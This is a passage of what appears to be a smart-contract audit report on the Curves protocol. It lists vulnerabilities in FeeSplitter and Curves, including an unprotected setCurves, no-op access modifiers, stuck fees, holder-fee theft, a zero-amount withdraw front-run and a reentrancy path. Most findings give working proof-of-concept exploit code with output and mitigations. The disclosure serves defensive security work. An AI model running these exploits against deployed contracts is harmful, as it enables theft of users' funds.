UbiquitousComputing, dimulski, BowTiedOriole, jesjupyter, SpicyMeatball, zaevlad, Lef, Bobface, darksnow, KupiaSec, hals, Stormreckson, 0x111, klau5, ke1caM, peanuts, n1punp, cats, EV_om, bronze_pickaxe, cartlex_, rudolph, L0s1, deepplus, Inference, 0xMAKEOUTHILL, lil_eth, polarzero, Timenov, IceBear, nuthan2x, ubl4nk, skyge, AlexCzm, andywer, mrudenko, alexbabits, pipoca, Timeless, y4y, kutugu, Krace, ravikiranweb3, haxatron, and Soliditors

The FeeSplitter.sol contract, which is responsible for fee distribution and claiming, contains a significant security vulnerability related to the setCurves function. This function allows updating the reference to the Curves contract. However, as it currently stands, any user, including a malicious actor, can call setCurves. This vulnerability can be exploited to redirect the contract’s reference to a fake or malicious Curves contract (FakeCurves.sol), enabling manipulation of critical calculations used in fee distribution.

The exploit allows an attacker to set arbitrary values for curvesTokenBalance and curvesTokenSupply in the fake Curves contract. By manipulating these values, the attacker can falsely inflate their claimable fees, leading to unauthorized profit at the expense of legitimate token holders.

Proof of Concept

Steps:

Deploy the FeeSplitter and FakeCurves contracts.
As an attacker, call setCurves on FeeSplitter to update the curves reference to the deployed FakeCurves contract.
Manipulate curvesTokenBalance and curvesTokenSupply in FakeCurves to create false balances and supplies.
Call getClaimableFees in FeeSplitter to calculate inflated claimable fees based on the manipulated values.
Observe that the attacker is able to claim fees that they are not entitled to.

Code:

>>> feeRedistributor.getClaimableFees(randomToken, attacker)
0
>>> feeRedistributor.setCurves(fakeCurves,{'from': attacker})
Transaction sent: 0x6480994a739ab1541d4eb596fd73a49d55b59b6c7080a7cbb10d0b72f619b799
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 9
  FeeSplitter.setCurves confirmed   Block: 17   Gas used: 27607 (0.23%)

<Transaction '0x6480994a739ab1541d4eb596fd73a49d55b59b6c7080a7cbb10d0b72f619b799'>
>>> fakeCurves.setCurvesTokenSupply(randomToken, 250, {'from': attacker})
Transaction sent: 0xd9c0938f9876348657bf5ef8e7e84706b0ddf287da69169716ca6af22a3c059d
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 10
  FakeCurves.setCurvesTokenSupply confirmed   Block: 18   Gas used: 22786 (0.19%)

<Transaction '0xd9c0938f9876348657bf5ef8e7e84706b0ddf287da69169716ca6af22a3c059d'>
>>> fakeCurves.setCurvesTokenBalance(randomToken, attacker, 249, {'from': attacker})
Transaction sent: 0x742b4aac4d03210fc4869a75dd625fdbf52838655f57ddf8e028dfbaa6818932
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 11
  FakeCurves.setCurvesTokenBalance confirmed   Block: 19   Gas used: 23361 (0.19%)

<Transaction '0x742b4aac4d03210fc4869a75dd625fdbf52838655f57ddf8e028dfbaa6818932'>
>>> feeRedistributor.getClaimableFees(randomToken, attacker)
996000000000000000

Recommended Mitigation Steps

To mitigate this vulnerability, the setCurves function in FeeSplitter.sol should be restricted to be callable only by the owner or a trusted manager. This can be achieved by using the onlyOwner or onlyManager modifier (from the inherited Security.sol contract) in the setCurves function.

The modified setCurves function should look like this:

function setCurves(Curves curves_) public onlyOwner {
    curves = curves_;
}

or, if managers are also trusted to perform this action,

function setCurves(Curves curves_) public onlyManager {
    curves = curves_;
}

andresaiello (Curves) confirmed

[H-05] Malformed equate statement

Submitted by ChaseTheLight

Note: This finding was reported via the winning Automated Findings report. It was declared out of scope for the audit, but is being included here for completeness.

Lines of code

8, 13

Vulnerability details

Using the provided modifier onlyOwner for function access control without a proper enforcement mechanism like require or revert is a dire mistake because it fails to restrict access as intended. The modifier merely evaluates a condition (msg.sender == owner) without any action taken based on the result. This means any user, regardless of whether they are the owner, can execute functions that are supposed to be restricted to the owner, potentially leading to unauthorized actions, such as withdrawing funds or altering critical contract settings.

Recommended Mitigation

To fix this, the modifier should enforce the ownership check using a require statement:

modifier onlyOwner() {
  require(msg.sender == owner, "Caller is not the owner");
  _;
}

With this correction, the modifier effectively ensures that only the account designated as owner can access the function. If a non-owner attempts to call the function, the transaction is reverted, maintaining the intended access control and contract integrity.

8:     modifier onlyOwner() { // <= FOUND
9:         msg.sender == owner; // <= FOUND
10:         _;
11:     }

13:     modifier onlyManager() { // <= FOUND
14:         managers[msg.sender] == true; // <= FOUND
15:         _;
16:     }

andresaiello (Curves) confirmed

Medium Risk Findings (10)

[M-01] Protocol and referral fee would be permanently stuck in the Curves contract when selling a token

Submitted by anshujalan, also found by lukejohn, zxriptor, ether_sky, ahmedaghadi, 0x0bserver, 0x11singh99, todorc, Aymen0909, c0pp3rscr3w3r, FastChecker, ro1sharkm, tonisives, adeolu, cu5t0mpeo, whoismatthewmc1, Oxsadeeq, Silvermist, Ryonen, ktg, nonseodion, CDSecurity, MrPotatoMagic, santipu_ (1, 2), grearlake, dimulski, BowTiedOriole (1, 2), codegpt, Cosine, _eperezok, khramov, rouhsamad, para8956, Topmark, 0xPhantom, XORs33r, aslanbek, sl1, dd0x7e8, mrudenko, mahdirostami, fishgang, alexfilippov314, zhaojohnson, SovaSlava, hals, UbiquitousComputing, SpicyMeatball, KupiaSec, klau5, cats, cccz, DanielArmstrong, developerjordy, Soliditors, deepplus, Inference, nuthan2x, petro_1912, and haxatron

During the sale of a token Curves._transferFee subtracts all the fees from the selling price and transfers the remaining to the seller here.

        uint256 sellValue = price - protocolFee - subjectFee - referralFee - holderFee;
        (bool success1, ) = firstDestination.call{value: isBuy ? buyValue : sellValue}("");

However, the protocolFee taken away is not transferred to the protocolFeeDestination in the remainder of the _transferFee function here. It stays back in the contract with no other of way of retrieval.

Furthermore, referralFee is taken away without checking if a referral address actually exists. In the event that there is no referral defined, the third transfer is never executed here. This leaves the referral fee in the contract, again no retrieval mechanism.

Recommended Mitigation Steps

The buyValue (here) variable already has the logic for jointly handling the protocol and referral fee. It can be given a more generic name, and be transferred to the protocolDestination for both buying and selling transactions.

    uint256 protocolShare = referralDefined ? protocolFee : protocolFee + referralFee;
    uint256 sellValue = price - protocolFee - subjectFee - referralFee - holderFee;

    (bool success, ) = (feesEconomics.protocolFeeDestination).call{value: protocolShare}("");
    if (!success) revert CannotSendFunds();
    if(!isBuy) {
        (bool success1, ) = (msg.sender).call{value: sellValue}("");
        if(!success1) revert CannotSendFunds();
    }

alcueca (Judge) decreased severity to Medium

andresaiello (Curves) acknowledged

[M-02] Theft of holder fees when `holderFeePercent` was positive and is set to zero

Submitted by santipu_, also found by zhaojie, _eperezok, SpicyMeatball, rvierdiiev, and BowTiedOriole

In the Curves protocol, a holder fee is imposed on all buy and sell transactions. This fee is distributed among share holders via the FeeSplitter contract, incentivizing long-term holding over frequent trading. The _transferFees() function plays a crucial role in this process by transferring the holder fee to FeeSplitter.

    if (feesEconomics.holdersFeePercent > 0 && address(feeRedistributor) != address(0)) {
        feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);
        feeRedistributor.addFees{value: holderFee}(curvesTokenSubject);
    }

This code ensures that onBalanceChange() and addFees() are called only when holdersFeePercent is non-zero, deeming FeeSplitter unnecessary otherwise.

A critical vulnerability arises when the holderFeePercent, initially set to a positive value, is later changed to zero. In this case, previously collected holder fees remain in the FeeSplitter, awaiting distribution. The absence of onBalanceChange() calls in such scenarios allows new shareholders to unjustly claim these fees, leading to a potential theft of funds.

Impact

When the holder fee is reduced from a positive value to zero, new shareholders can exploit this to illicitly claim holder fees from FeeSplitter. This theft is not only limited to these new shareholders but can also be perpetuated across multiple addresses, progressively draining the FeeSplitter of its ETH reserves.

Proof of Concept

The PoC can be executed in a standard Foundry environment for the Curves project. The test is conducted using the command forge test --match-test testSetHolderFeeZero.

The test mimics an attack where a new shareholder exploits the system to claim holder fees that rightfully belong to previous shareholders.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;

import {Test, console2, console, stdError} from "forge-std/Test.sol";
import {Curves} from "src/Curves.sol";
import {CurvesERC20Factory} from "src/CurvesERC20Factory.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {CurvesERC20} from "src/CurvesERC20.sol";

contract CurvesTest is Test {
    CurvesERC20Factory public factory;
    Curves public curves;
    FeeSplitter public feeSplitter;

    function setUp() public {
        factory = new CurvesERC20Factory();
        feeSplitter = new FeeSplitter();
        curves = new Curves(address(factory), address(feeSplitter));

        feeSplitter.setCurves(curves);
        feeSplitter.setManager(address(curves), true);
    }

    function testSetHolderFeeZero() public {
        address subject = makeAddr("subject");
        address attacker = makeAddr("attacker");
        address victim = makeAddr("victim");

        // Subject mints first share to allow trading
        vm.prank(subject);
        curves.buyCurvesToken(subject, 1);

        // Holder fee is set at 5%
        vm.startPrank(address(curves));
        curves.setMaxFeePercent(0.05e18);
        curves.setExternalFeePercent(0, 0, 0.05e18);
        vm.stopPrank();

        // Victim buys some shares
        uint256 price = curves.getBuyPriceAfterFee(subject, 10);
        deal(victim, price);
        vm.prank(victim);
        curves.buyCurvesToken{value: price}(subject, 10);
        assertEq(curves.curvesTokenBalance(subject, victim), 10);

        // Holder fee is set at 0%
        vm.prank(address(curves));
        curves.setExternalFeePercent(0, 0, 0);

        // Attacker buys some shares
        price = curves.getBuyPriceAfterFee(subject, 10);
        deal(attacker, price);
        vm.prank(attacker);
        curves.buyCurvesToken{value: price}(subject, 10);
        assertEq(curves.curvesTokenBalance(subject, attacker), 10);

        uint256 balanceFeeSplitterBefore = address(feeSplitter).balance;
        uint256 balanceAttackerBefore = address(attacker).balance;
        uint256 victimFees = feeSplitter.getClaimableFees(subject, victim);

        // Now, attacker can claim victim's holder fees
        vm.prank(attacker);
        feeSplitter.claimFees(subject);

        uint256 balanceFeeSplitterAfter = address(feeSplitter).balance;
        uint256 balanceAttackerAfter = address(attacker).balance;

        // Attacker has claimed victim's holder fees
        assertEq(balanceFeeSplitterBefore - balanceFeeSplitterAfter, victimFees);
        assertEq(balanceAttackerAfter - balanceAttackerBefore, victimFees);

        // Now, victim cannot claim them
        vm.prank(victim);
        vm.expectRevert();
        // Call reverts with "EvmError: OutOfFund" because the contract has no funds to transfer
        feeSplitter.claimFees(subject);
    }
}

Recommended Mitigation Steps

To prevent this exploitation, it is advised to always call onBalanceChange() in _transferFees(), regardless of the holdersFeePercent status. This ensures continuous and accurate tracking of shareholder balances and rightful fee distribution, even when the holder fee is set to zero.

+       feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);  

        if (feesEconomics.holdersFeePercent > 0 && address(feeRedistributor) != address(0)) {
-           feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);
            feeRedistributor.addFees{value: holderFee}(curvesTokenSubject);
        }

andresaiello (Curves) confirmed, but disagreed with severity and commented:

Not high, because a DAO is responsible for that change, but will fix it.

alcueca (Judge) decreased severity to Medium and commented:

Even after merging #1491 with #247 which is more general, it still doesn’t cover the issue here that unclaimed fees need to be considered if changing the holders fee to zero.

[M-03] If a user sets their curve token symbol as the default one plus the next token counter instance it will render the whole default naming functionality obsolete

Submitted by iamandreiski, also found by UbiquitousComputing, dutra, 0x0bserver, m4ttm, peritoflores, cheatc0d3, imare, Tychai0s, FastChecker, Soul22, kodyvim, deepplus, whoismatthewmc1, nonseodion (1, 2), Matue, erebus, ether_sky, Draiakoo, LouisTsai, 0xprinc, aslanbek, Cosine, BugzyVonBuggernaut, KupiaSec, ke1caM, jesjupyter, PENGUN, spacelord47, SpicyMeatball, dimulski, ktg, DanielArmstrong, nmirchev8 (1, 2), KingNFT, Mylifechangefast_eth, SovaSlava, zaevlad, jasonxiale, hals, AlexCzm, 51l3nt, cats, EV_om, ZanyBonzy, ubl4nk, cccz, pkqs90, israeladelaja, jangle, Krace, and haxatron

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L338-L362

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L47

If a malicious user or just an unbeknownst one decides to name/set their curve token symbol as “CURVE N” “N” can/will be substituted to whatever the next number is in the _curvesTokenCounter it can render the whole default naming functionality in the protocol useless as it will be DoS’d indefinitely.

Proof of Concept

When a user decides to call the buyCurvesTokenWithName without specifying the name/symbol of their token and/or their token hasn’t been deployed and exists without a name/symbol and calls mint(), withdraw() etc. without setting the name/symbol they will be assigned a default one.

The default name/symbol will be assigned using the following lines of code:

  // If the token's symbol is CURVES, append a counter value
        if (keccak256(bytes(symbol)) == keccak256(bytes(DEFAULT_SYMBOL))) {
            _curvesTokenCounter += 1;
            name = string(abi.encodePacked(name, " ", Strings.toString(_curvesTokenCounter)));
            symbol = string(abi.encodePacked(symbol, Strings.toString(_curvesTokenCounter)));
        }

        if (symbolToSubject[symbol] != address(0)) revert InvalidERC20Metadata();

Since two exact symbols can’t coexist in the Curves ecosystem, due to symbol checks (as shown in if the if-clause above) a malicious user can decide to set their token symbol as “CURVES N” -> substituting the N with whatever the next number is in the _curvesTokenCounter.

Example if currently _curvesTokenCounter = 4, they can set their symbol as “CURVES 5” and this will render the whole default naming functionality of the protocol obsolete indefinitely.

Even though setNameAndSymbol() exists (which prevents a complete protocol DoS) and users will be able to manually set their name/symbol since the default functionality won’t work; this still renders the whole default naming functionality useless and inoperable.

Foundry Proof of Concept to show this:

    function testTokenDefaultNaming() public {

        //user1 creates a token without assigning it a name/symbol
        vm.startPrank(user1);
        curves.buyCurvesToken(user1, 1);
        vm.stopPrank();

        //user2 creates another token with name/symbol as the default ones next in line
        vm.prank(user2);
        curves.buyCurvesTokenWithName(user2, 1, "Curves 1", "CURVES1");

        //This will always revert as default naming functionality won't work anymore
        vm.startPrank(user1);
        vm.expectRevert();
        curves.withdraw(user1, 1);
        vm.stopPrank();
    }

Recommended Mitigation Steps

Forbid users to include CURVES in their symbol by including checks when manually setting name/symbol or creating a token with name/symbol and reserve these keywords only for the default naming functionality or rethink how the architecture can be changed to make including symbols/names by users mandatory.

andresaiello (Curves) confirmed

[M-04] Withdrawing with amount `= 0` will forcefully set name and symbol to default and disable some functions for token subject

Submitted by ktg, also found by ktg, gkrastenov, Nikki, anshujalan, imare, gesha17, burhan_khaja, ether_sky, nonseodion (1, 2), HChang26, MrPotatoMagic, grearlake, santipu_, matejdb, jangle, th13vn, SovaSlava, para8956, merlinboii, jasonxiale, nuthan2x, Bobface, 0xPluto, y4y, and 0x0bserver

Name and symbol is forcefully set to default value before the token subject can do anything.
Disable functions mint, setNameAndSymbol and buyCurvesTokenWithName for token subject

Proof of Concept

Function withdraw is used by contract Curves to allow users to withdraw tokens to external ERC20 tokens. The function is currently implemented as:

function withdraw(address curvesTokenSubject, uint256 amount) public {
        if (amount > curvesTokenBalance[curvesTokenSubject][msg.sender]) revert InsufficientBalance();

        address externalToken = externalCurvesTokens[curvesTokenSubject].token;
        if (externalToken == address(0)) {
            if (
                keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].name)) ==
                keccak256(abi.encodePacked("")) ||
                keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].symbol)) ==
                keccak256(abi.encodePacked(""))
            ) {
                externalCurvesTokens[curvesTokenSubject].name = DEFAULT_NAME;
                externalCurvesTokens[curvesTokenSubject].symbol = DEFAULT_SYMBOL;
            }
            _deployERC20(
                curvesTokenSubject,
                externalCurvesTokens[curvesTokenSubject].name,
                externalCurvesTokens[curvesTokenSubject].symbol
            );
            externalToken = externalCurvesTokens[curvesTokenSubject].token;
        }
        _transfer(curvesTokenSubject, msg.sender, address(this), amount);
        CurvesERC20(externalToken).mint(msg.sender, amount * 1 ether);
    }

The function will check if externalToken == address(0), if so, they will deploy the token. This part of code stays behind the condition if (amount > curvesTokenBalance[curvesTokenSubject][msg.sender]) revert InsufficientBalance().

The problem is, the function does not check if the withdraw amount is 0. If withdraw is called with amount = 0, then the token is deployed with default name and symbol before token subject can do anything. The token once deployed cannot be redeployed and the name and symbol stays there forever. Also, since the token is already deployed, function mint, setNameAndSymbol and buyCurvesTokenWithName will all revert when the token subject call them.

Below is a POC for the above issue, save them to file test/curves-erc20.WithdrawFrontrun.ts and run it using command: npx hardhat test test/curves-erc20.WithdrawFrontrun.ts.

import { expect, use } from "chai";
import { solidity } from "ethereum-waffle";
use(solidity);
import { parseEther } from "@ethersproject/units";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
//@ts-ignore
import { ethers } from "hardhat";

import { type Curves, CurvesERC20Factory, ERC20__factory } from "../contracts/types";
import {CurvesERC20__factory} from "../contracts/types/factories/CurvesERC20__factory";
import { TradeEvent } from "../contracts/types/Curves";
import { buyToken } from "../tools/test.helpers";
import { deployCurveContracts } from "./test.helpers";

describe("Curves ERC20 test", () => {
  let testContract: Curves, owner: SignerWithAddress, friend: SignerWithAddress, addrs: SignerWithAddress[];

  beforeEach(async () => {
    [owner, friend, ...addrs] = await ethers.getSigners();
    testContract = await deployCurveContracts();
  });


  describe("ERC20 test", () => {
    it("Front run withdraw to set name and symbol to default", async () => {

      // Before owner can do anything, attacker can run withdraw with amount = 0
      await testContract.connect(friend).withdraw(owner.address, 0);
      const keyTokenAddress = (await testContract.externalCurvesTokens(owner.address)).token;
      const keyToken = CurvesERC20__factory.connect(keyTokenAddress, owner);

      // external token is already deployed with default name and symbol
      expect(await keyToken.name()).to.equal("Curves 1");
      expect(await keyToken.symbol()).to.equal("CURVES1");

      // Now the token subject cannot call function mint, setNameAndSymbol,buyCurvesTokenWithName
      let tx = testContract.mint(owner.address);
      expect(tx).to.be.revertedWith("ERC20TokenAlreadyMinted()");

      tx = testContract.setNameAndSymbol(owner.address, "Custom name", "SYMBOL123");
      expect(tx).to.be.revertedWith("ERC20TokenAlreadyMinted()");

      tx = testContract.buyCurvesTokenWithName(owner.address, 1, "Custom name", "SYMBOL123");
      expect(tx).to.be.revertedWith("ERC20TokenAlreadyMinted()");

    });
  });
});

Recommended Mitigation Steps

I recommend you forbid calling function withdraw with amount = 0.

andresaiello (Curves) acknowledged

[M-05] Stuck rewards in `FeeSplitter` contract

Submitted by hals, also found by ether_sky, visualbits, m4ttm, and btk

Curves protocol incentivize users to buy subjects and hold it for a prolonged time to receive high rewards, and the claimable rewards amount entitled for each user is calculated based on the user subject balance times the difference between the subject cumulativeFeePerToken and the user’s userFeeOffset of that subject, where the user’s userFeeOffset is updated whenever he buys or sells that specific subject:

      ```javascript
          function onBalanceChange(address token, address account) public onlyManager {
              TokenData storage data = tokensData[token];
              data.userFeeOffset[account] = data.cumulativeFeePerToken;
              if (balanceOf(token, account) > 0) userTokens[account].push(token);
          }
      ```

The cumulativeFeePerToken is updated by an increment of msg.value / PRECISION, where msg.value represents the holdersFee amount that is deducted from each selling/purchase price of each subject token, and this value is accumulated to be claimed later by that subject holders (via FeeSplitter.addFees function):

```javascript
function addFees(address token) public payable onlyManager {
        uint256 totalSupply_ = totalSupply(token);
        if (totalSupply_ == 0) revert NoTokenHolders();
        TokenData storage data = tokensData[token];
        //@audit-issue : the more the totalSupply increases the more stuck rewards (division loss)
        data.cumulativeFeePerToken += (msg.value * PRECISION) / totalSupply_;
    }
```

But there’s an issue with this implementation:

There will be always a locked amount in the contract equals to the latest subject’s cumulativeFeePerToken, and this amount will be stuck and not utilized as there’s no way to withdraw them from the splitter contract (no withdraw function to rescue any stuck funds in excess of the contracts’s needs).
These stuck accrued rewards will never be fully claimed as well and will be increasing with each purchase or selling of that subject, because users will be able to claim rewards based on their subject balance times the difference between the subject cumulativeFeePerToken and the user’s userFeeOffset of that subject only.

This issue is presented in the PoC section below, where all subject holders claim their rewards while there’s still a stuck amount of that subject rewards in the contract.

Proof of Concept

FeeSplitter.addFees function

    function addFees(address token) public payable onlyManager {
        uint256 totalSupply_ = totalSupply(token);
        if (totalSupply_ == 0) revert NoTokenHolders();
        TokenData storage data = tokensData[token];
        data.cumulativeFeePerToken += (msg.value * PRECISION) / totalSupply_;
    }

Foundry PoC:

Test Setup: Foundry is used to write a PoC that illustrates this vulnerability, in order to setup Foundry testing environment in a project that uses hardhat, follow these steps/run the following commands in the project main directory:
- yarn add —dev @nomicfoundation/hardhat-foundry
- in hardhat.config.ts file , import: import "@nomicfoundation/hardhat-foundry";
- npx hardhat init-foundry
Add this FeeSplitterTest.t.sol test file in the following directory 2024-01-curves/test/FeeSplitterTest.t.sol:

```
├── 2024-01-curves
│   ├── test
│       ├──FeeSplitterTest.t.sol
```

```javascript
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;

import {Test, console2} from "forge-std/Test.sol";
import {Curves} from "../contracts/Curves.sol";
import {CurvesERC20Factory} from "../contracts/CurvesERC20Factory.sol";
import {FeeSplitter} from "../contracts/FeeSplitter.sol";
import {CurvesERC20} from "../contracts/CurvesERC20.sol";
import "@openzeppelin/contracts/utils/Strings.sol";

contract FeeSplitterTest is Test {
    Curves public curves;
    CurvesERC20Factory public factory;
    FeeSplitter public feeSplitter;
    //fees:
    uint256 i_protocolFee = 5e16; // 5%
    uint256 i_subjectFee = 5e16; // 5%
    uint256 i_referralFee = 0; // 0%
    uint256 i_holdersFee = 5e16; // 5%
    //fee destination:
    address protocolFeeDestination = makeAddr("protocolFeeDestination");

    //subjects addresses:
    address subjectOne = makeAddr("subjectOne");
    //subject tokens addresses:
    address subjectOneToken;

    function setUp() public {
        //1. deploy required contracts:
        feeSplitter = new FeeSplitter();
        factory = new CurvesERC20Factory();
        curves = new Curves(address(factory), address(feeSplitter));
        feeSplitter.setCurves(curves);

        //2. set fees:
        curves.setMaxFeePercent(i_protocolFee + i_subjectFee + i_holdersFee);
        curves.setProtocolFeePercent(i_protocolFee, protocolFeeDestination);
        curves.setExternalFeePercent(i_subjectFee, i_referralFee, i_holdersFee);

        //3.add a subject token:
        vm.startPrank(subjectOne);
        curves.buyCurvesTokenWithName(subjectOne, 1, "subjectOne", curves.DEFAULT_SYMBOL());
        subjectOneToken = curves.symbolToSubject("CURVES1");
        vm.stopPrank();
    }

    function testSetUp() public {
        // test fee setup:
        (uint256 protocolFee, uint256 subjectFee, uint256 referralFee, uint256 holdersFee, ) = curves.getFees(1 ether);

        assertGt(protocolFee, 0);
        assertGt(subjectFee, 0);
        assertEq(referralFee, 0);
        assertGt(holdersFee, 0);

        // test if subject token is created:
        assertFalse(subjectOneToken == address(0));
    }

    //! forge test --mt testDrainFeeSplitter
    function testDrainFeeSplitter() public {
        uint256 numberOfBuyers = 100;
        address[] memory buyers = new address[](numberOfBuyers);
        uint256 boughtAmount = 200; // each one of the buyers will buy 200 subject tokens

        //1. 100 users buy subjectOne token:
        for (uint256 i; i < numberOfBuyers; ++i) {
            buyers[i] = makeAddr(string(Strings.toString(i)));
            uint256 buyerBalanceBefore = curves.curvesTokenBalance(subjectOne, buyers[i]);
            assert(buyerBalanceBefore == 0);
            uint256 price = curves.getBuyPriceAfterFee(subjectOne, boughtAmount + i);

            vm.deal(buyers[i], price);
            vm.startPrank(buyers[i]);
            curves.buyCurvesToken{value: price}(subjectOne, boughtAmount + i);
            vm.stopPrank();

            uint256 buyerBalanceAfter = curves.curvesTokenBalance(subjectOne, buyers[i]);
            assert(buyerBalanceAfter == boughtAmount + i);
        }

        uint256 feeSplitterBalanceBeforeClaims = address(feeSplitter).balance;

        // 2. now these users will claim their rewards from the splitter contract:
        uint256 totalClaimableByUsers;
        for (uint256 i; i < numberOfBuyers; ++i) {
            uint256 buyerETHBalanceBefore = buyers[i].balance;
            assert(buyerETHBalanceBefore == 0);
            uint256 claimedFeesByBuyer = feeSplitter.getClaimableFees(subjectOne, buyers[i]);

            vm.startPrank(buyers[i]);
            feeSplitter.claimFees(subjectOne);
            vm.stopPrank();

            uint256 buyerETHBalanceAfter = buyers[i].balance;
            assertGt(buyerETHBalanceAfter, buyerETHBalanceBefore);
            assert(buyerETHBalanceAfter == claimedFeesByBuyer);

            totalClaimableByUsers += claimedFeesByBuyer;
        }

        //3. As can be noticed: the splitter balance is larger than the claimable rewards which will result in the difference being stuck in the contract:
        uint256 feeSplitterBalanceAfterClaims = address(feeSplitter).balance;
        assertGt(totalClaimableByUsers - feeSplitterBalanceAfterClaims, 0); // stucke balance

        assert(feeSplitterBalanceBeforeClaims - totalClaimableByUsers == feeSplitterBalanceAfterClaims);
        console2.log("totalClaimableByUsers (# of ETH): ", totalClaimableByUsers / 1e18);
        console2.log("--------------------------------------------------");
        console2.log("stuck rewards in the splitter contract (# of ETH): ", feeSplitterBalanceAfterClaims / 1e18);

        //4. to prove it more, another purchase is made, and the buyer claimed his rewards while the stuck amount is increased:
        address lastBuyer = makeAddr("lastBuyer");
        uint256 price = curves.getBuyPriceAfterFee(subjectOne, boughtAmount);

        //---------- buying subjectOne tokens:
        vm.deal(lastBuyer, price);
        vm.startPrank(lastBuyer);
        curves.buyCurvesToken{value: price}(subjectOne, boughtAmount);

        //---------- lastBuyer claims his rewards:
        feeSplitter.claimFees(subjectOne);
        vm.stopPrank();

        //-----
        console2.log("--------------------------------------------------");
        console2.log(
            "stuck rewards in the splitter contract after the lastBuyer claimed his rewards (# of ETH): ",
            address(feeSplitter).balance / 1e18
        );
    }
}
```

Explained scenario:
1. The assumption made is that buyers will claim their rewards based on the same bought balance without manipulating it with direct transfers, otherwise another vulnerability is introduced (check issue under the title : “Any subject holder can drain the FeeSplitter contract funds”).
2. 100 buyer purchase a specific amount of subjectOne token.
3. Then all buyers claim their rewards from the splitter contract.
4. There’s a stuck amount of subject rewards that will never be utilized, and this amount equals to the latest cumulativeFeePerToken of that subject.
5. To illustrate this more; another buyer (lastBuyer) buys subjectOne tokens and claim his rewards, and as can be noticed: more rewards stuck in the contract.

Test result:

$ forge test --mt testDrainFeeSplitter -vvv
Running 1 test for test/FeeSplitterTest.t.sol:FeeSplitterTest
[PASS] testDrainFeeSplitter() (gas: 24258455)
Logs:
totalClaimableByUsers (# of ETH):  16178590
--------------------------------------------------
stuck rewards in the splitter contract (# of ETH):  963
--------------------------------------------------
stuck rewards in the splitter contract after the lastBuyer claimed his rewards (# of ETH):  390051

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 52.28ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Recommended Mitigation Steps

Implement a mechanism to utilize these stuck rewards or withdraw them; or modify the current rewarding mechanism to prevent any stuck rewards in the future.

andresaiello (Curves) acknowledged

Note: For full discussion, see here.

[M-06] A subject creator within a single block can claim holder fees without holding due to unprotected reentrancy path

Submitted by nuthan2x, also found by nonseodion, DarkTower, spaghetticode_sentinel, 0xNaN, BowTiedOriole, xiao, 0xPhantom, zhaojie, hals, alexfilippov314, aslanbek, nmirchev8, Kow, and kutugu (1, 2)

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L236-L241

https://gist.github.com/nuthan2x/bb0ecf745abfdc37ce374f6af0d83699#L17

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L80

A subject creater can keep on claiming holder fees on every buy and sell transaction even when he doesn’t hold the balance. This claiming of holder fees without holding is possible due to a combination of reentrancy and usage of call instead of transfer while transferring the subject fees.

A subject can perform this attack by:

Buy some curves initially.
mint and lock them in curves. The external minted tokens can be used on bridges or AMMs.
Now, when someone buys/sells, subject fee is transferred on _transferFees call.
Using this external call, the subject when receiving the ether, can withdraw tokens from bridge/AMM and then burn those tokens to get the curves. Then use those curves updated balance, to claim the updated holder fees. Then lock those curves again and mint external tokens, then lock them on Bridge/AMM.
For attacker to claim this holder fees unethically, only once every two transactions of buy and sell. Because, the holder fee is updated after sending the subject fees. So previous update of the holders fees can be claimed only next time someone buys/sells.

Proof of Concept

For readable POC see below, but for full foundry setup of the poc test, copy and paste this gist to test/Test.sol directory and run forge t --mt test_Attack_POC -vvvv:

    bool claimThisTime; // claim once every two buy/sell transactions of the subject (reduce gas usage)
    bool holderFeeClaimOn; // dont do any reentrancy when holder fees are received, but reenter on only subject fee receiving time.

///////////////////////// POC //////////////////////////////////////////////

    function test_Attack_POC() public {
        deal(address(feeSplitter), 1 ether);

        // subject creator buying 10 more curves
        uint amountToSend = curves.getBuyPrice(address(CREATOR), 10) * 2;
        deal(address(this), amountToSend);
        curves.buyCurvesToken{value : amountToSend}(address(CREATOR), 10);

        // subject creator minting external tokens and supplies it to some uniswap pool or locked in bridge
        uint mintAmount = curves.curvesTokenBalance(address(CREATOR), address(this));
        if(mintAmount > 1) curves.withdraw(address(CREATOR), mintAmount - 1); // tokens locking

        // claiming till now, to prove that this below attack is possible
        uint claimable = feeSplitter.getClaimableFees(address(CREATOR), address(this));
        holderFeeClaimOn = true;
        if(claimable > 0) feeSplitter.claimFees(address(CREATOR));
        holderFeeClaimOn = false;


        // normal user buying 200 curves
        amountToSend = curves.getBuyPrice(address(CREATOR), 200) * 2;
        deal(address(NORMAL_USER), amountToSend);
        vm.prank(NORMAL_USER);
        curves.buyCurvesToken{value : amountToSend}(address(CREATOR), 200);

        // normal user buying 200 curves
        amountToSend = curves.getBuyPrice(address(CREATOR), 200) * 2;
        deal(address(NORMAL_USER), amountToSend);
        vm.prank(NORMAL_USER);
        curves.buyCurvesToken{value : amountToSend}(address(CREATOR), 200);
    }

    receive() external payable {
        if(holderFeeClaimOn) return;

        (, , address externalToken) = curves.externalCurvesTokens(address(CREATOR));
        claimThisTime = !claimThisTime;

        if(externalToken != address(0) && claimThisTime == true) {
            uint burnAmount = CurvesERC20(externalToken).balanceOf(address(this));  //  tokens unlocking
            if(burnAmount > 0) curves.deposit(address(CREATOR), burnAmount);

            uint claimable = feeSplitter.getClaimableFees(address(CREATOR), address(this));
            if(claimable > 0) {
                holderFeeClaimOn = true;
                feeSplitter.claimFees(address(CREATOR));
